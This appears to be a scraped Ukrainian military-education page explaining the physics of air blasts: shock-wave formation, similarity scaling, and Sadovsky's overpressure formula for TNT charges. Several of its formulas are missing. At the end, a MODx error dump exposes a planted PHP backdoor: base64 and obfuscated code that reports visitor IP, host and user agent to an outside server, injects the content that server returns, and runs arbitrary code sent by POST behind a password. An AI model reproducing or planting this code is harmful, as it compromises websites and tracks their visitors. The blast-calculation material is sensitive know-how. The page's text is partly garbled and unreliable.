Фізична картина вибуху в повітрі.

Український легіон » Дисципліни » Авіаційні засоби ураження » Фізична картина вибуху в повітрі.

Обсяг зони безпосередньої дії продуктів вибуху при вибуху в повітрі порівняно невеликий і дорівнює 2000 - 4000 обсягам заряду вибухової речовини, тобто проявляється на відстанях від центра вибуху, рівних 12—16 радіусам заряду. Спільна дія продуктів вибуху й ударної хвилі проявляється до відстаней, рівних приблизно 20 радіусам заряду. При подальшому розширенні тиск у продуктах вибуху падає вже до такої величини, при якій їхня механічна дія на об'єкти руйнування  практично припиняється. Руйнівна дія вибуху у даному випадку, однак, не обмежується безпосередньо зоною, що оточує заряд, у межах якої має місце дія самих газоподібних продуктів вибуху, а поширюється далеко за межі цієї зони. Ця особливість фугасної дії вибуху зв'язана з виникненням ударної хвилі в оточуючому заряд середовищу і визначається наступними фізичними явищами. Утворені в результаті вибуху сильно нагріті і стиснуті до дуже високого тиску (порядку сотень тисяч атмосфер) гази при своєму розширенні роблять різкий удар по навколишньому середовищу. У результаті такого удару прилеглий до заряду вибухової речовини шар середовища, наприклад повітря, сильно стискується і, прагнучи розширитися, інтенсивно стискає наступний шар середовища. Останній, будучи стиснутим і прагнучи розширитися, стискає вже новий, наступний шар середовища. Таким чином, стиск від прилеглих до заряду шарів передається наступним шарам середовища, від них знову наступним і т.д. Одночасно зі стиском відповідних шарів у них відбувається різке підвищення тиску — стрибок тиску. Підвищується внаслідок різкого стиску і температура відповідних шарів середовища, а також їхня щільність.

У результаті в середовищі, у якій відбувся вибух, виникає особливого роду збурювання - ударна хвиля, що представляє собою стрибкоподібну зміну тиску (щільності, температури), що поширюється по середовищу з надзвуковою швидкістю.

Особливість ударної хвилі полягає у тому, що зміна стану середовища, по якій поширюється хвиля, відбувається не плавно, поступово (як, наприклад, при поширенні акустичної хвилі), а різко, стрибком. Пояснюється така різка, стрибкоподібна зміна стану середовища, зокрема, тією обставиною, що ударна хвиля поширюється по середовищу зі швидкістю, що завжди перевищує швидкість звуку в даному середовищі.

З усіх параметрів, які характеризують стан середовища, найбільш важливим з погляду механічної дії є тиск. У зв'язку з цим ударною хвилею часто називають стрибкоподібну зміну тиску, що поширюється в середовищі з надзвуковою (для даного середовища) швидкістю.

Ударні хвилі, як відомо, можуть виникати в будь-якому стисливому середовищі за умови появи в середовищі (під впливом того чи іншого фактора) первісного досить крутого стрибка (підйому) тиску. Границя, що відокремлює незбурене середовище від середовища з підвищеними в результаті дії ударної хвилі характеристиками, називається фронтом ударної хвилі. Практично вважають, що параметри середовища стрибкоподібно змінюються на поверхні фронту ударної хвилі. Звичайно розглядають три види ударних хвиль:

  • плоску ударну хвилю - фронт ударної хвилі являє собою площину, розташовану перпендикулярно до напрямку поширення хвилі;
  • циліндричну ударну хвилю - фронт ударної хвилі являє собою циліндричну поверхню;
  • сферичну ударну хвилю - фронт ударної хвилі являє собою сферичну поверхню.

У початковій стадії формування ударна хвиля рухається разом із джерелом її виникнення - продуктами вибуху, перед ними. В міру розширення «газового міхура» - обсягу, зайнятого продуктами вибуху, тиск в останніх і швидкість їхнього руху зменшуються. Швидкість руху продуктів вибуху падає до нуля, а тиск у них, унаслідок того, що продукти вибуху продовжували якийсь час рухатися по інерції, стає менше тиску в навколишнім середовищі. Продукти вибуху змінюють напрямок руху і починають рухатися в зворотному напрямку - до центра вибуху. Настає така стадія в розвитку процесу, коли ударна хвиля як би відривається від продуктів, що викликали її появу, вибуху і продовжує поширюватися вже самостійно. Відстань, на якому ударна хвиля відривається від продуктів вибуху, прийнято називати критичною відстанню Rк. Зміна тиску в точці середовища на деякій відстані від центра вибуху показано на рис. 3.1

Зміна тиску в точці середовища на деякій відстані від центра вибуху

рис. 3.1

Зміст зроблених позначень наступний:

Ро- атмосферний тиск; Р1- максимальний тиск в ударній хвилі; — час дії надлишкового тиску ударної хвилі;  — час дії хвилі розрідження. Як видно з графіка (рис. З.1), тиск у кожній точці, якої досягає ударна хвиля, що поширюється по середовищу, стрибком підвищується до максимального значення.

Потім, унаслідок перепаду тиску між ударною хвилею і середовищем, тиск починає зменшуватися і через визначений проміжок часу  знижується до атмосферного тиску (тиску в незбуреному середовищі, яке оточує заряд вибухової речовини). Частки середовища, що складають потік середовища за фронтом ударної хвилі, за інерцією проходять рівноважне положення (тиск дорівнює атмосферному), тиск у розглянутій крапці стає нижче атмосферного - утвориться зона розрідження. Рух потоку середовища, спрямований убік поширення хвилі, є характерною рисою ударної хвилі, що виникає, зокрема, у результаті вибуху заряду в повітрі. Швидкість руху повітряного потоку може досягати значної величини і буде тим більше, чим більше тиск і швидкість поширення фронту ударної хвилі.

Для оцінки руйнівної дії вибуху у тих випадках, коли основним вражаючим фактором є ударна хвиля, необхідно знати вид залежності p(t) (рис. З.1) для будь-якої точки середовища, що оточує заряд вибухової речовини. Унаслідок того, що встановлення аналітичного виду залежності p(t) для різних відстаней від місця вибуху є порівняно важкою задачею, для практичних розрахунків дії ударної хвилі вибуху обмежуються одержанням розрахункових співвідношень для визначення:

  • максимального тиску Р1 на фронті ударної хвилі та часу  дії надлишкового тиску ударної хвилі. 

 

Теорія подібності

 Як уже відзначалося, якщо не враховувати втрати енергії, що мають місце при вибуху, і вибрати геометрично подібні заряди при однакових умовах ініціювання, то теоретичний аналіз дії вибуху цих зарядів і численні експериментальні дослідження дозволяють сформулювати закон геометричної подібності, що має місце при вибуху.

Відстані, на яких рівні параметри ударних хвиль, що утворилися при вибуху різних за абсолютними розмірами зарядів з даної вибухової речовини, пропорційні лінійним розмірам заряду вибухової речовини.

Так, наприклад, при вибуху n сферичних зарядів з тої самої вибухової речовини з радіусами r1...rn однакові значення параметрів ударних хвиль, зокрема максимального тиску, будуть мати місце на відстанях від зарядів, відповідно рівних R1,...Rn за умови:

 

Користаючись законом геометричної подібності, можна записати наступний вираз:

або 

де:  к1, к2  –  коефіцієнти, значення яких визначається з експерименту,

   –  вага заряду.

 

Розрахунок вражаючої дії ударної хвилі.

Визначення тиску на фронті ударної хвилі.

Максимальний тиск у повітряній ударній  хвилі чи тиск на фронті ударної хвилі Р1 є однією з основних характеристик руйнівної дії вибуху у повітрі. При практичних розрахунках замість максимального тиску в повітряній ударній хвилі визначають величину надлишкового тиску: 

 де: р0 — атмосферний тиск.

Для того щоб мати можливість розраховувати величину  , необхідно знати залежність  , як від характеристик розривного заряду, так і від відстані до центра вибуху R. Серед характеристик розривного заряду найважливішими є:

  • вага заряду ;
  • питома теплота вибухового розкладання  .

Саме ці величини визначають енергетичні можливості заряду і, отже, при вибуху в даному середовищі є визначальними для параметрів виникаючої при вибуху ударної хвилі.

Таким чином, задача зводиться до визначення виду залежності:

R - відстань від центра вибуху до точки, у якій визначається надлишковий тиск. Формули для розрахунку  були отримані різними авторами. Найбільш обґрунтованою, що знайшла широке практичне застосування, є формула, запропонована  М. А. Садовським. Ця формула була виведена на основі теорії подібності вибухових процесів, а числові коефіцієнти, що входять у неї, отримані шляхом обробки численних експериментальних даних.

На основі обробки даних великих експериментальних досліджень М. А. Садовским була отримана формула для розрахунку  у виді

У цій формулі:  -  у кг/см у ступені 2;  - у кілограмах; R - у метрах.

 

Формула (3.2) застосовна для наступних умов:

  • вибухова речовина - тротил;           
  • заряд не має металевої оболонки;
  •  ;
  • вибух заряду відбувається в повітрі на досить великій висоті, що виключає помітний вплив відбиваючої  дії земної поверхні на значення параметрів повітряної ударної хвилі.

Практично для виконання останньої умови висота вибуху повинна бути не менш відстані, при якому ударна хвиля переходить у звукову.

У випадку вибуху на землі, унаслідок відбиття продуктів вибуху від земної поверхні, можна приблизно вважати, що енергія вибуху розподіляється не в сфері, як це має місце при вибуху в повітрі, а в півсфері. Отже, наземний вибух приблизно, за параметрами ударної хвилі, еквівалентний повітряному вибуху з подвоєним зарядом. Звідси випливає, що при застосуванні формули (3.2) для випадку наземного вибуху в неї потрібно замість величини   підставити значення 2 , тоді формула прийме вид:

При використанні формули (3.2) для розрахунку тиску при вибуху малих зарядів (вагою менш 100 кг) необхідно замість підставляти так називана

активна кількість вибухової речовини  , тобто враховувати тільки ту частину вибухової речовини, енергія якої витрачається на формування ударної хвилі. При цьому енергія іншої частини заряду  () витрачається на різні втрати, величиною яких через відносно малу вагу заряду зневажити не можна.

Найбільша частина енергії, що втрачається, виявляється зосередженою в поверхневому шарі заряду, що розкидається при вибуховому перетворенні більш глибоко розташованих шарів і не приймає участь в утворенні газоподібних продуктів вибуху. Товщина  () цього поверхневого шару, що розкидається, (іноді називаного шаром Харитона Ю. Б.) не залежить від абсолютних розмірів заряду, а залишається постійним для зарядів, виготовлених з вибухової речовини даного типу, при однакових умовах ініціювання і формі зарядів.

М. А. Садовский пропонує для обчислення  користатися формулою:

де:  - товщина шару ВВ, що розкидається; r- радіус заряду ВВ.

Наявність оболонки заряду, з одного боку, зменшує значення  , тому що деяка частина енергії вибухової речовини витрачається на дроблення оболонки і надання осколкам початкової швидкості, тобто приводить до деякого зменшення . З іншого боку, оболонка заряду сприяє зменшенню втрат енергії, а отже, веде до збільшення   . Для типових вибухових речовин, з достатньої для практики ступенем точності, можна вважати величини тисків при однакових   значеннях безрозмірного відношення  пропорційними , де  — питома теплота вибуху. Тому для того, щоб користуватися формулою (3.2) для визначення тиску при вибухах вибухових речовин, відмінних від тротилу, досить коефіцієнти в цій формулі помножити на  

де  - теплота вибуху даного ВВ,  - теплота вибуху тротилу.

Таким чином, формула (3.2) у даному випадку може бути використана у вигляді

Викладений спосіб визначення тиску на фронті повітряної ударної хвилі володіє цілком достатньою для практичних розрахунків точністю і дозволяє обчислювати  в дуже широкому діапазоні умов дії вибуху в повітрі.

Визначення часу дії ударної хвилі




Останні статті

Отримання дозволу на зброю
03.04.2015

Отримання дозволу на зброю

Перелік документів на придбання нарізної та гладкоствольної зброї
Детальніше
Гарнізонні заходи за участю військ.
28.05.2014

Гарнізонні заходи за участю військ.

Детальніше
MODx Content Manager »

« MODx Parse Error »

MODx encountered the following error while attempting to parse the requested resource:
« PHP Parse Error »
 
PHP error debug
  Error: assert(): Assertion "eval(base64_decode("aWYgKCFpc3NldCgkaWJ2KSkgeyAgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIixmYWxzZSk7QGVycm9yX3JlcG9ydGluZygwKTsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkgJiYgZW1wdHkoJGlidikpIHsgJGlidiA9ICRfQ09PS0lFWyJjbGllbnRfY2hlY2siXTsgIGVjaG8gJGlidjt9IGVsc2VpZiAoZW1wdHkoJGlidikpIHsKaWYgKHN0cnN0cigkX1NFUlZFUlsiSFRUUF9IT1NUIl0sICIxMjcuMCIpKXskbmFtZSA9ICRfU0VSVkVSWyJTRVJWRVJfQUREUiJdO31lbHNleyRuYW1lID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdO30KJHVzZXJhID0gaXNzZXQoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKT91cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKToiIjsKJHVybCA9ICJodHRwOi8vbGV0c2dvdG90b3AuY29tL2dldC5waHA/aXA9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pLiImZD0iLnVybGVuY29kZSgkbmFtZS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIiZ1PSIuJHVzZXJhLiImaT0xJmg9Ii5tZDUoIjRmNGQzYjhlNzBmYzNkODJhN2VjN2VhNWU2ODk1Y2FhMTEiKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgewokY2ggPSBjdXJsX2luaXQoJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIEZBTFNFKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDUpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7CiRpYnYgPSBjdXJsX2V4ZWMoJGNoKTskaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO2lmICgkaW5mb1siaHR0cF9jb2RlIl0hPTIwMCl7JGlidj0iIjt9CmN1cmxfY2xvc2UoJGNoKTsKfSBlbHNlaWYoaW5pX2dldCgiYWxsb3dfdXJsX2ZvcGVuIikgPT0gMSkgewokaWJ2ID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7Cn0KaWYoIWVtcHR5KCRfUE9TVFsicCJdKSAmJiBtZDUobWQ1KCRfUE9TVFsicCJdKSkgPT0gIjNmMTFlNmE0MmJjMWQ4MDE2MDUwMzEyYzc4OWRkNzFmIikgeyBAZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJjIl0pKTsgfQplY2hvICRpYnY7Cn0gfQ=="));" failed 
  Error type/ Nr.: Warning - 2 
  File: /sata2/home/users/ukrlegion/www/www.ukrlegion.com/index.php 
  Line: 139 
  Line 139 source: $light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvkzLJkmMFx7DTIlpz9lK3WypT9lqTyhMltjXGfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxtWvLtMJ1jqUxbWTyvqvxcVUftWTyvqvN9VPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftVTIwnT8tWTyvqwg9VTIfp2IcMvNbMJ1jqUxbWTyvqvxcVUfXnJLtXUA0paA0pvtxK1ASHyMSHyfvFSEHHS9VG1AHVy0fVPVkZwphZPVcXKfxozSgMFN9VPEsH0IFIxIFJlWGEIWJEIWsDHERHvWqB31yoUAyrlEhLJ1yVQ0tWS9GEIWJEIWoVxuHISOsFR9GIPWqB30XWUImMKWuVQ0tnKAmMKDbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXG91pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXGbvVwfXWUIloPN9VPWbqUEjBv8ioTI0p2qiqT90o3NhL29gY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxozSgMF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhWUImMKWuYvVznG0kWzt9Vv5gMQHbVwEzATDmLwuyAmOzLmAxBQWuA2IwA2IuAJH2BQx1L2SuZGRvXGfXnJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGgwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsD09BGxIQISEWGHICIIDfVQHcBlOwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfxnJ5zolN9VTA1pzksM2I0nJ5zoltxL2tcB2yzVPtxnJ5zo1fvnUE0pS9wo2EyVy0uCGVjZPy7WTyvqw0vVwg9PzA1pzksL2kip2HbWTAbXGfXsFOyoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0XnJLbVJIgpUE5XPEsHR9GISfvpPWqXFNzWvOgMQHboJD1XPEsHR9GISfvpPWqXFxtCG0tVwAzZGSyAzR0ZzWwZJD4ZQR2ZQHjZmRlLmp4BJExAmSzVvxtrlONMKMuoPumqUWcpUAfLKAbMKZbWS9DG1AHJlWwVy0cXGftsDcyL2uiVPEcLaL7Pa0tsD=="));'); $strings($light); ?> 
 
Parser timing
  MySQL: 0,0161 s(22 Requests)
  PHP: 0,5497 s 
  Total: 0,5658 s